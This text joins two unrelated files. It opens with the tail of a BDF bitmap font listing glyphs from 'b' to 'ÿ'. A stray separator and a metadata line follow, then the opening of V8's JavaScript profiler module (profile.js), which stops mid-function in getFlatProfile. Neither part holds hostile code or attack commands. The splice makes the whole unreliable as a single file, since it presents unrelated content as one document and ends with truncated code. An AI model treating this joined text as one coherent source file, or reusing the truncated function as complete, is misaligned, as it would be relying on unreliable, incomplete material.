STARTCHAR 0x0062
ENCODING 98
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
80
80
E0
90
90
90
E0
ENDCHAR
STARTCHAR 0x0063
ENCODING 99
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
90
80
80
70
ENDCHAR
STARTCHAR 0x0064
ENCODING 100
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
10
10
70
90
90
90
70
ENDCHAR
STARTCHAR 0x0065
ENCODING 101
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x0066
ENCODING 102
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
30
40
40
F0
40
40
40
ENDCHAR
STARTCHAR 0x0067
ENCODING 103
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
70
90
90
90
70
10
60
ENDCHAR
STARTCHAR 0x0068
ENCODING 104
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
80
80
E0
90
90
90
90
ENDCHAR
STARTCHAR 0x0069
ENCODING 105
SWIDTH 384 0
DWIDTH 4 0
BBX 1 8 1 0
BITMAP
80
00
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x006A
ENCODING 106
SWIDTH 480 0
DWIDTH 5 0
BBX 3 10 0 -2
BITMAP
20
00
00
20
20
20
20
20
20
C0
ENDCHAR
STARTCHAR 0x006B
ENCODING 107
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
80
80
90
A0
C0
A0
90
ENDCHAR
STARTCHAR 0x006C
ENCODING 108
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x006D
ENCODING 109
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
F0
A8
A8
A8
A8
ENDCHAR
STARTCHAR 0x006E
ENCODING 110
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
E0
90
90
90
90
ENDCHAR
STARTCHAR 0x006F
ENCODING 111
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
60
90
90
90
60
ENDCHAR
STARTCHAR 0x0070
ENCODING 112
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
E0
90
90
90
E0
80
80
ENDCHAR
STARTCHAR 0x0071
ENCODING 113
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
70
90
90
90
70
10
10
ENDCHAR
STARTCHAR 0x0072
ENCODING 114
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
B0
C0
80
80
80
ENDCHAR
STARTCHAR 0x0073
ENCODING 115
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
70
80
60
10
E0
ENDCHAR
STARTCHAR 0x0074
ENCODING 116
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
40
40
F0
40
40
40
30
ENDCHAR
STARTCHAR 0x0075
ENCODING 117
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
90
90
90
90
70
ENDCHAR
STARTCHAR 0x0076
ENCODING 118
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
88
88
50
50
20
ENDCHAR
STARTCHAR 0x0077
ENCODING 119
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 0
BITMAP
A8
A8
A8
50
50
ENDCHAR
STARTCHAR 0x0078
ENCODING 120
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
90
90
60
90
90
ENDCHAR
STARTCHAR 0x0079
ENCODING 121
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
90
90
90
90
70
10
60
ENDCHAR
STARTCHAR 0x007A
ENCODING 122
SWIDTH 480 0
DWIDTH 5 0
BBX 4 5 0 0
BITMAP
F0
20
40
80
F0
ENDCHAR
STARTCHAR 0x007B
ENCODING 123
SWIDTH 768 0
DWIDTH 8 0
BBX 5 9 1 -1
BITMAP
18
20
20
20
C0
20
20
20
18
ENDCHAR
STARTCHAR 0x007C
ENCODING 124
SWIDTH 576 0
DWIDTH 6 0
BBX 1 9 2 -1
BITMAP
80
80
80
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x007D
ENCODING 125
SWIDTH 768 0
DWIDTH 8 0
BBX 5 9 1 -1
BITMAP
C0
20
20
20
18
20
20
20
C0
ENDCHAR
STARTCHAR 0x007E
ENCODING 126
SWIDTH 576 0
DWIDTH 6 0
BBX 5 2 0 5
BITMAP
68
B0
ENDCHAR
STARTCHAR 0x007F
ENCODING 127
SWIDTH 0 0
DWIDTH 0 0
BBX 0 0 0 0
BITMAP
ENDCHAR
STARTCHAR 0x00A0
ENCODING 160
SWIDTH 0 0
DWIDTH 0 0
BBX 0 0 0 0
BITMAP
ENDCHAR
STARTCHAR 0x00A1
ENCODING 161
SWIDTH 384 0
DWIDTH 4 0
BBX 1 7 1 0
BITMAP
80
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00A2
ENCODING 162
SWIDTH 480 0
DWIDTH 5 0
BBX 4 8 0 -1
BITMAP
20
20
70
A0
A0
A0
70
20
ENDCHAR
STARTCHAR 0x00A3
ENCODING 163
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
30
48
40
F0
40
60
98
ENDCHAR
STARTCHAR 0x00A4
ENCODING 164
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 1
BITMAP
88
70
50
70
88
ENDCHAR
STARTCHAR 0x00A5
ENCODING 165
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
88
88
50
F8
20
F8
20
ENDCHAR
STARTCHAR 0x00A6
ENCODING 166
SWIDTH 576 0
DWIDTH 6 0
BBX 1 9 2 -1
BITMAP
80
80
80
80
00
80
80
80
80
ENDCHAR
STARTCHAR 0x00A7
ENCODING 167
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 -1
BITMAP
60
90
80
60
90
60
10
90
60
ENDCHAR
STARTCHAR 0x00A8
ENCODING 168
SWIDTH 576 0
DWIDTH 6 0
BBX 5 1 0 6
BITMAP
D8
ENDCHAR
STARTCHAR 0x00A9
ENCODING 169
SWIDTH 768 0
DWIDTH 8 0
BBX 7 7 0 0
BITMAP
38
44
BA
A2
BA
44
38
ENDCHAR
STARTCHAR 0x00AA
ENCODING 170
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 0
BITMAP
60
10
70
90
70
00
F0
ENDCHAR
STARTCHAR 0x00AB
ENCODING 171
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
14
28
50
A0
50
28
14
ENDCHAR
STARTCHAR 0x00AC
ENCODING 172
SWIDTH 576 0
DWIDTH 6 0
BBX 5 3 0 1
BITMAP
F8
08
08
ENDCHAR
STARTCHAR 0x00AD
ENCODING 173
SWIDTH 480 0
DWIDTH 5 0
BBX 4 1 0 3
BITMAP
F0
ENDCHAR
STARTCHAR 0x00AE
ENCODING 174
SWIDTH 768 0
DWIDTH 8 0
BBX 7 7 0 0
BITMAP
38
44
BA
B2
AA
44
38
ENDCHAR
STARTCHAR 0x00AF
ENCODING 175
SWIDTH 480 0
DWIDTH 5 0
BBX 4 1 0 6
BITMAP
F0
ENDCHAR
STARTCHAR 0x00B0
ENCODING 176
SWIDTH 480 0
DWIDTH 5 0
BBX 4 4 0 4
BITMAP
60
90
90
60
ENDCHAR
STARTCHAR 0x00B1
ENCODING 177
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
20
F8
20
20
00
F8
ENDCHAR
STARTCHAR 0x00B2
ENCODING 178
SWIDTH 384 0
DWIDTH 4 0
BBX 3 5 0 3
BITMAP
40
A0
20
40
E0
ENDCHAR
STARTCHAR 0x00B3
ENCODING 179
SWIDTH 384 0
DWIDTH 4 0
BBX 3 5 0 3
BITMAP
E0
20
40
20
C0
ENDCHAR
STARTCHAR 0x00B4
ENCODING 180
SWIDTH 480 0
DWIDTH 5 0
BBX 2 2 1 7
BITMAP
40
80
ENDCHAR
STARTCHAR 0x00B5
ENCODING 181
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
90
90
90
B0
D0
80
80
ENDCHAR
STARTCHAR 0x00B6
ENCODING 182
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
78
E8
E8
68
28
28
28
ENDCHAR
STARTCHAR 0x00B7
ENCODING 183
SWIDTH 576 0
DWIDTH 6 0
BBX 1 1 2 3
BITMAP
80
ENDCHAR
STARTCHAR 0x00B8
ENCODING 184
SWIDTH 576 0
DWIDTH 6 0
BBX 3 3 1 -2
BITMAP
20
40
80
ENDCHAR
STARTCHAR 0x00B9
ENCODING 185
SWIDTH 384 0
DWIDTH 4 0
BBX 2 5 0 3
BITMAP
40
C0
40
40
40
ENDCHAR
STARTCHAR 0x00BA
ENCODING 186
SWIDTH 480 0
DWIDTH 5 0
BBX 4 6 0 2
BITMAP
60
90
90
60
00
F0
ENDCHAR
STARTCHAR 0x00BB
ENCODING 187
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
A0
50
28
14
28
50
A0
ENDCHAR
STARTCHAR 0x00BC
ENCODING 188
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
40
C0
40
40
30
50
78
10
ENDCHAR
STARTCHAR 0x00BD
ENCODING 189
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
40
C0
40
40
30
08
10
38
ENDCHAR
STARTCHAR 0x00BE
ENCODING 190
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
E0
40
20
C0
30
50
78
10
ENDCHAR
STARTCHAR 0x00BF
ENCODING 191
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
00
20
40
88
88
70
ENDCHAR
STARTCHAR 0x00C0
ENCODING 192
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C1
ENCODING 193
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C2
ENCODING 194
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C3
ENCODING 195
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
68
B0
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C4
ENCODING 196
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
20
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C5
ENCODING 197
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
48
30
20
50
70
88
88
ENDCHAR
STARTCHAR 0x00C6
ENCODING 198
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
7C
50
50
FC
90
90
9C
ENDCHAR
STARTCHAR 0x00C7
ENCODING 199
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 -2
BITMAP
70
88
80
80
80
88
70
20
40
ENDCHAR
STARTCHAR 0x00C8
ENCODING 200
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00C9
ENCODING 201
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00CA
ENCODING 202
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00CB
ENCODING 203
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
F8
80
F0
80
80
F8
ENDCHAR
STARTCHAR 0x00CC
ENCODING 204
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
80
40
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00CD
ENCODING 205
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
40
80
00
80
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00CE
ENCODING 206
SWIDTH 384 0
DWIDTH 4 0
BBX 4 9 0 0
BITMAP
60
90
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00CF
ENCODING 207
SWIDTH 384 0
DWIDTH 4 0
BBX 3 9 0 0
BITMAP
A0
A0
00
40
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00D0
ENCODING 208
SWIDTH 672 0
DWIDTH 7 0
BBX 6 7 0 0
BITMAP
78
44
44
F4
44
44
78
ENDCHAR
STARTCHAR 0x00D1
ENCODING 209
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
68
B0
00
88
C8
A8
98
88
88
ENDCHAR
STARTCHAR 0x00D2
ENCODING 210
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D3
ENCODING 211
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D4
ENCODING 212
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D5
ENCODING 213
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
68
B0
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D6
ENCODING 214
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
70
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00D7
ENCODING 215
SWIDTH 576 0
DWIDTH 6 0
BBX 5 5 0 1
BITMAP
88
50
20
50
88
ENDCHAR
STARTCHAR 0x00D8
ENCODING 216
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 -1
BITMAP
08
70
98
A8
A8
A8
C8
70
80
ENDCHAR
STARTCHAR 0x00D9
ENCODING 217
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
20
10
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DA
ENCODING 218
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DB
ENCODING 219
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
30
48
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DC
ENCODING 220
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
50
50
00
88
88
88
88
88
70
ENDCHAR
STARTCHAR 0x00DD
ENCODING 221
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 0
BITMAP
10
20
00
88
88
50
20
20
20
ENDCHAR
STARTCHAR 0x00DE
ENCODING 222
SWIDTH 576 0
DWIDTH 6 0
BBX 5 8 0 0
BITMAP
80
F0
88
88
88
F0
80
80
ENDCHAR
STARTCHAR 0x00DF
ENCODING 223
SWIDTH 576 0
DWIDTH 6 0
BBX 5 9 0 -2
BITMAP
70
88
88
F0
88
88
F0
80
80
ENDCHAR
STARTCHAR 0x00E0
ENCODING 224
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E1
ENCODING 225
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E2
ENCODING 226
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E3
ENCODING 227
SWIDTH 480 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
68
B0
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E4
ENCODING 228
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E5
ENCODING 229
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
60
00
60
10
70
90
70
ENDCHAR
STARTCHAR 0x00E6
ENCODING 230
SWIDTH 768 0
DWIDTH 8 0
BBX 7 5 0 0
BITMAP
7C
12
7E
90
7E
ENDCHAR
STARTCHAR 0x00E7
ENCODING 231
SWIDTH 480 0
DWIDTH 5 0
BBX 4 7 0 -2
BITMAP
60
90
80
80
70
20
40
ENDCHAR
STARTCHAR 0x00E8
ENCODING 232
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00E9
ENCODING 233
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00EA
ENCODING 234
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00EB
ENCODING 235
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
60
90
F0
80
70
ENDCHAR
STARTCHAR 0x00EC
ENCODING 236
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
80
40
00
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00ED
ENCODING 237
SWIDTH 384 0
DWIDTH 4 0
BBX 2 9 1 0
BITMAP
40
80
00
00
80
80
80
80
80
ENDCHAR
STARTCHAR 0x00EE
ENCODING 238
SWIDTH 384 0
DWIDTH 4 0
BBX 4 9 0 0
BITMAP
60
90
00
00
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00EF
ENCODING 239
SWIDTH 384 0
DWIDTH 4 0
BBX 3 9 0 0
BITMAP
A0
A0
00
00
40
40
40
40
40
ENDCHAR
STARTCHAR 0x00F0
ENCODING 240
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
80
70
C0
20
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F1
ENCODING 241
SWIDTH 480 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
68
B0
00
00
E0
90
90
90
90
ENDCHAR
STARTCHAR 0x00F2
ENCODING 242
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F3
ENCODING 243
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F4
ENCODING 244
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F5
ENCODING 245
SWIDTH 480 0
DWIDTH 5 0
BBX 5 9 0 0
BITMAP
68
B0
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F6
ENCODING 246
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
60
90
90
90
60
ENDCHAR
STARTCHAR 0x00F7
ENCODING 247
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 0
BITMAP
20
20
00
F8
00
20
20
ENDCHAR
STARTCHAR 0x00F8
ENCODING 248
SWIDTH 576 0
DWIDTH 6 0
BBX 5 7 0 -1
BITMAP
08
70
98
A8
C8
70
80
ENDCHAR
STARTCHAR 0x00F9
ENCODING 249
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
40
20
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FA
ENCODING 250
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
20
40
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FB
ENCODING 251
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
60
90
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FC
ENCODING 252
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 0
BITMAP
50
50
00
00
90
90
90
90
70
ENDCHAR
STARTCHAR 0x00FD
ENCODING 253
SWIDTH 480 0
DWIDTH 5 0
BBX 4 11 0 -2
BITMAP
10
20
00
00
90
90
90
90
70
10
60
ENDCHAR
STARTCHAR 0x00FE
ENCODING 254
SWIDTH 480 0
DWIDTH 5 0
BBX 4 9 0 -2
BITMAP
80
80
E0
90
90
90
E0
80
80
ENDCHAR
STARTCHAR 0x00FF
ENCODING 255
SWIDTH 480 0
DWIDTH 5 0
BBX 4 11 0 -2
BITMAP
50
50
00
00
90
90
90
90
70
10
60
ENDCHAR
ENDFONT
|
{
"pile_set_name": "Github"
}
|
// Copyright 2009 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of conditions and the following disclaimer.
// * Redistributions in binary form must reproduce the above
// copyright notice, this list of conditions and the following
// disclaimer in the documentation and/or other materials provided
// with the distribution.
// * Neither the name of Google Inc. nor the names of its
// contributors may be used to endorse or promote products derived
// from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
// "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT
// LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR
// A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT
// OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,
// SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
// LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,
// DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT
// (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
// OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
/**
* Creates a profile object for processing profiling-related events
* and calculating function execution times.
*
* @constructor
*/
function Profile() {
this.codeMap_ = new CodeMap();
this.topDownTree_ = new CallTree();
this.bottomUpTree_ = new CallTree();
};
/**
* Returns whether a function with the specified name must be skipped.
* Should be overriden by subclasses.
*
* @param {string} name Function name.
*/
Profile.prototype.skipThisFunction = function(name) {
return false;
};
/**
* Enum for profiler operations that involve looking up existing
* code entries.
*
* @enum {number}
*/
Profile.Operation = {
MOVE: 0,
DELETE: 1,
TICK: 2
};
/**
* Enum for code state regarding its dynamic optimization.
*
* @enum {number}
*/
Profile.CodeState = {
COMPILED: 0,
OPTIMIZABLE: 1,
OPTIMIZED: 2
};
/**
* Called whenever the specified operation has failed finding a function
* containing the specified address. Should be overriden by subclasses.
* See the Profile.Operation enum for the list of
* possible operations.
*
* @param {number} operation Operation.
* @param {number} addr Address of the unknown code.
* @param {number} opt_stackPos If an unknown address is encountered
* during stack strace processing, specifies a position of the frame
* containing the address.
*/
Profile.prototype.handleUnknownCode = function(
operation, addr, opt_stackPos) {
};
/**
* Registers a library.
*
* @param {string} name Code entry name.
* @param {number} startAddr Starting address.
* @param {number} endAddr Ending address.
*/
Profile.prototype.addLibrary = function(
name, startAddr, endAddr) {
var entry = new CodeMap.CodeEntry(
endAddr - startAddr, name);
this.codeMap_.addLibrary(startAddr, entry);
return entry;
};
/**
* Registers statically compiled code entry.
*
* @param {string} name Code entry name.
* @param {number} startAddr Starting address.
* @param {number} endAddr Ending address.
*/
Profile.prototype.addStaticCode = function(
name, startAddr, endAddr) {
var entry = new CodeMap.CodeEntry(
endAddr - startAddr, name);
this.codeMap_.addStaticCode(startAddr, entry);
return entry;
};
/**
* Registers dynamic (JIT-compiled) code entry.
*
* @param {string} type Code entry type.
* @param {string} name Code entry name.
* @param {number} start Starting address.
* @param {number} size Code entry size.
*/
Profile.prototype.addCode = function(
type, name, start, size) {
var entry = new Profile.DynamicCodeEntry(size, type, name);
this.codeMap_.addCode(start, entry);
return entry;
};
/**
* Registers dynamic (JIT-compiled) code entry.
*
* @param {string} type Code entry type.
* @param {string} name Code entry name.
* @param {number} start Starting address.
* @param {number} size Code entry size.
* @param {number} funcAddr Shared function object address.
* @param {Profile.CodeState} state Optimization state.
*/
Profile.prototype.addFuncCode = function(
type, name, start, size, funcAddr, state) {
// As code and functions are in the same address space,
// it is safe to put them in a single code map.
var func = this.codeMap_.findDynamicEntryByStartAddress(funcAddr);
if (!func) {
func = new Profile.FunctionEntry(name);
this.codeMap_.addCode(funcAddr, func);
} else if (func.name !== name) {
// Function object has been overwritten with a new one.
func.name = name;
}
var entry = new Profile.DynamicFuncCodeEntry(size, type, func, state);
this.codeMap_.addCode(start, entry);
return entry;
};
/**
* Reports about moving of a dynamic code entry.
*
* @param {number} from Current code entry address.
* @param {number} to New code entry address.
*/
Profile.prototype.moveCode = function(from, to) {
try {
this.codeMap_.moveCode(from, to);
} catch (e) {
this.handleUnknownCode(Profile.Operation.MOVE, from);
}
};
/**
* Reports about deletion of a dynamic code entry.
*
* @param {number} start Starting address.
*/
Profile.prototype.deleteCode = function(start) {
try {
this.codeMap_.deleteCode(start);
} catch (e) {
this.handleUnknownCode(Profile.Operation.DELETE, start);
}
};
/**
* Reports about moving of a dynamic code entry.
*
* @param {number} from Current code entry address.
* @param {number} to New code entry address.
*/
Profile.prototype.moveFunc = function(from, to) {
if (this.codeMap_.findDynamicEntryByStartAddress(from)) {
this.codeMap_.moveCode(from, to);
}
};
/**
* Retrieves a code entry by an address.
*
* @param {number} addr Entry address.
*/
Profile.prototype.findEntry = function(addr) {
return this.codeMap_.findEntry(addr);
};
/**
* Records a tick event. Stack must contain a sequence of
* addresses starting with the program counter value.
*
* @param {Array<number>} stack Stack sample.
*/
Profile.prototype.recordTick = function(stack) {
var processedStack = this.resolveAndFilterFuncs_(stack);
this.bottomUpTree_.addPath(processedStack);
processedStack.reverse();
this.topDownTree_.addPath(processedStack);
};
/**
* Translates addresses into function names and filters unneeded
* functions.
*
* @param {Array<number>} stack Stack sample.
*/
Profile.prototype.resolveAndFilterFuncs_ = function(stack) {
var result = [];
for (var i = 0; i < stack.length; ++i) {
var entry = this.codeMap_.findEntry(stack[i]);
if (entry) {
var name = entry.getName();
if (!this.skipThisFunction(name)) {
result.push(name);
}
} else {
this.handleUnknownCode(
Profile.Operation.TICK, stack[i], i);
}
}
return result;
};
/**
* Performs a BF traversal of the top down call graph.
*
* @param {function(CallTree.Node)} f Visitor function.
*/
Profile.prototype.traverseTopDownTree = function(f) {
this.topDownTree_.traverse(f);
};
/**
* Performs a BF traversal of the bottom up call graph.
*
* @param {function(CallTree.Node)} f Visitor function.
*/
Profile.prototype.traverseBottomUpTree = function(f) {
this.bottomUpTree_.traverse(f);
};
/**
* Calculates a top down profile for a node with the specified label.
* If no name specified, returns the whole top down calls tree.
*
* @param {string} opt_label Node label.
*/
Profile.prototype.getTopDownProfile = function(opt_label) {
return this.getTreeProfile_(this.topDownTree_, opt_label);
};
/**
* Calculates a bottom up profile for a node with the specified label.
* If no name specified, returns the whole bottom up calls tree.
*
* @param {string} opt_label Node label.
*/
Profile.prototype.getBottomUpProfile = function(opt_label) {
return this.getTreeProfile_(this.bottomUpTree_, opt_label);
};
/**
* Helper function for calculating a tree profile.
*
* @param {Profile.CallTree} tree Call tree.
* @param {string} opt_label Node label.
*/
Profile.prototype.getTreeProfile_ = function(tree, opt_label) {
if (!opt_label) {
tree.computeTotalWeights();
return tree;
} else {
var subTree = tree.cloneSubtree(opt_label);
subTree.computeTotalWeights();
return subTree;
}
};
/**
* Calculates a flat profile of callees starting from a node with
* the specified label. If no name specified, starts from the root.
*
* @param {string} opt_label Starting node label.
*/
Profile.prototype.getFlatProfile = function(opt_label) {
var counters = new CallTree();
var rootLabel = opt_label || CallTree.ROOT_NODE_LABEL;
var precs = {};
precs[rootLabel] = 0;
var root = counters.findOrAddChild(rootLabel);
this.topDownTree_.computeTotalWeights();
this.topDownTree_.traverseInDepth(
function onEnter(node) {
if (!(node.label in precs)) {
precs[node.label] = 0;
}
var nodeLabelIsRootLabel = node.label == rootLabel;
if (nodeLabelIsRootLabel || precs[rootLabel] > 0) {
if (precs[rootLabel] == 0) {
root.selfWeight += node.selfWeight;
root.totalWeight += node.totalWeight;
} else {
var rec = root.findOrAddChild(node.label);
rec.selfWeight += node.selfWeight;
if (nodeLabelIsRootLabel || precs[node.label] == 0) {
rec.totalWeight += node.totalWeight;
}
}
precs[node.label]++;
}
},
function onExit(node) {
if (node.label == rootLabel || precs[rootLabel] > 0) {
precs[node.label]--;
}
},
null);
if (!opt_label) {
// If we have created a flat profile for the whole program, we don't
// need an explicit root in it. Thus, replace the counters tree
// root with the node corresponding to the whole program.
counters.root_ = root;
} else {
